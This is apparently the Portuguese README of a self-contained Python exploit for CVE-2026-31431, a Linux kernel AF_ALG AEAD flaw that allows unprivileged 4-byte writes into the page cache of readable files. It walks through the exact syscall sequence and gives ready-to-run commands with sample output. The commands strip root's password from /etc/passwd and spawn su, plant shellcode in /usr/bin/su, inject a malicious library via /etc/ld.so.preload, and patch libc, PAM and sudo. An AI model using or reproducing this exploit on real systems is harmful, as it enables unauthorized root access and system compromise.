
Exploit para CVE-2026-31431, uma vulnerabilidade de escrita no page-cache do AF_ALG AEAD do kernel Linux que permite escritas arbitrárias de 4 bytes não privilegiadas em arquivos legíveis para escalonamento local de privilégios.
Vulnerabilidade de escrita fora dos limites no page cache do kernel Linux (erro na cadeia de scatterlist do AEAD AF_ALG)
A interface algif_aead do kernel Linux contém uma vulnerabilidade que permite que usuários sem privilégios escrevam dados arbitrários no page cache de qualquer arquivo legível — contornando completamente as verificações de permissão de arquivo, controle de acesso obrigatório (MAC) e verificações de integridade.
O conteúdo do arquivo no disco não é alterado, mas todos os processos que lerem o arquivo posteriormente (incluindo programas SUID, o linker dinâmico, execve(), etc.) verão a versão adulterada pelo atacante, até que o page cache seja recuperado.
| Item | Descrição |
|---|---|
| Subsistema | crypto/algif_aead.c |
| Algoritmo | authencesn(hmac(sha256),cbc(aes)) |
| Configuração do kernel | CONFIG_CRYPTO_USER_API_AEAD=y/m (habilitado por padrão em quase todas as distribuições principais) |
| Privilégios necessários | Nenhum — basta ter permissão de leitura no arquivo alvo |
| Nível de gravidade | Escalação local de privilégios → root |
| Distribuições afetadas | Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE, etc. |
Ao executar descriptografia AEAD via AF_ALG:
sendmsg() + MSG_MORE, contendo 4 bytes de seqno_lo controlados pelo atacante.splice(), as páginas do page cache do arquivo alvo são injetadas na scatterlist de envio (TX SGL) do subsistema de criptografia do kernel.sg_chain.authencesn escreve seqno_lo no deslocamento assoclen + cryptlen da scatterlist de destino — uma posição que ultrapassa o buffer de recebimento e cai diretamente nas páginas do page cache encadeadas.EBADMSG, mas o page cache já foi adulterado. sendmsg (AAD) splice (páginas do arquivo)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ RX buffer │─────────────▶│ Páginas do page cache │
│ 8 bytes │ │ (conteúdo do arquivo) │
└──────────┘ └──────────────────────┘
▲
│
authencesn escreve seqno_lo aqui
deslocamento = assoclen + cryptlen
════ é aqui que está a vulnerabilidade ════
seqno_lo são totalmente controlados pelo atacante no AAD (o que escrever)splice determina o deslocamento da escrita no page cache (onde escrever)# Adultera o page cache de /etc/passwd, remove a senha do root e executa su root automaticamente
./exploit.py escalate
Processo de execução:
/etc/passwd em /tmp/.passwd.bakroot:x:0:0:root:... para root::0:0:root :... no page cachesu root automaticamente (sem senha)Exemplo de saída:
[*] CVE-2026-31431 — Copy Fail
[*] Modo: remover senha do root via /etc/passwd
[*] Backup: /tmp/.passwd.bak
[*] Antes : root:x:0:0:root:/root:/bin/bash
[*] Depois: root::0:0:root :/root:/bin/bash
[*] Offset: 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Sucesso: root::0:0:root :/root:/bin/bash
[*] Recuperação: echo 3 > /proc/sys/vm/drop_caches
[*] Executando: su root (senha não necessária)
# Sintaxe básica
./exploit.py write <caminho_do_arquivo> <deslocamento> <dados>
# Lê o payload de um arquivo binário
./exploit.py write <caminho_do_arquivo> <deslocamento> @payload.bin
# Escreve shellcode no ponto de entrada de um programa SUID
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# Injeta o caminho de uma biblioteca de pré-carregamento
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# Adultera uma função da libc (ex.: fazer getuid() retornar 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
# Método 1: Limpar todo o page cache, restaurando o conteúdo original do disco
echo 3 > /proc/sys/vm/drop_caches
# Método 2: Reiniciar
reboot
socket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, blob_da_chave_authenc)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → fd da requisição
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ Chave de autenticação (16 bytes de zeros) │
├─────────────────────────────────────────────┤
│ Chave de criptografia (16 bytes de zeros) │
└─────────────────────────────────────────────┘
O valor da chave é irrelevante — o HMAC falhará inevitavelmente, mas a escrita fora dos limites já foi concluída antes da verificação.
Passo 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = valor a ser escrito
cmsg = [OP=DECRYPT, IV=zeros, ASSOCLEN=8],
flags = MSG_MORE)
Passo 2: pipe_r, pipe_w = pipe()
Passo 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
Passo 4: splice(pipe_r → req_fd, count = file_offset + 4)
Passo 5: recv(req_fd, ASSOC_LEN + file_offset)
→ aciona a descriptografia authencesn
→ seqno_lo é escrito no deslocamento assoclen + cryptlen da dst SGL
→ esse deslocamento cai em file_offset da página do page cache
→ HMAC falha, retorna EBADMSG
→ o page cache já foi adulterado ✓
Layout da dst SGL:
[0 .. 7] → RX buffer (área de recepção do AAD)
[8 .. 8 + file_offset + 3] → Páginas do page cache (injetadas via splice)
Posição da escrita de seqno_lo:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= file_offset no page cache
∴ O atacante controla file_offset → controla a posição da escrita
O atacante controla seqno_lo → controla o conteúdo da escrita
.
├── exploit.py # Script de exploração autocontido (requer apenas Python 3 + Linux)
└── README.md # Este arquivo
Esta ferramenta destina-se exclusivamente a pesquisa de segurança autorizada e testes de penetração. O uso não autorizado desta ferramenta para atacar sistemas de terceiros é ilegal. O usuário é o único responsável por todas as consequências legais.
| Restrição | Descrição |
|---|
| Permissão de leitura | O arquivo alvo deve ser legível pelo usuário atual (O_RDONLY) |
| Alinhamento | Cada escrita tem 4 bytes; caudas com menos de 4 bytes são preenchidas com 0x90 |
| Tamanho do arquivo | O arquivo deve ter tamanho ≥ deslocamento + comprimento_dos_dados + 4 bytes |
| Somente page cache | O conteúdo do arquivo no disco não é modificado |
| Persistência | Válido até que o page cache seja recuperado ou limpo manualmente |
| Configuração do kernel | Requer AF_ALG + authencesn disponíveis (padrão nas distribuições principais) |
| Vetor de ataque | Arquivo alvo | Efeito |
|---|
| Remover senha do root | /etc/passwd | su root sem senha |
| Injetar biblioteca de pré-carregamento | /etc/ld.so.preload | Todos os programas carregam .so malicioso |
| Adulterar programa SUID | /usr/bin/su, etc. | Executa shellcode para obter shell root |
| Adulterar libc | /usr/lib/libc.so.6 | Sequestra funções como getuid() para retornar 0 |
| Adulterar módulo PAM | /usr/lib/security/pam_unix.so | Contorna toda a autenticação |
| Adulterar sudo | /usr/bin/sudo | Qualquer usuário obtém root diretamente |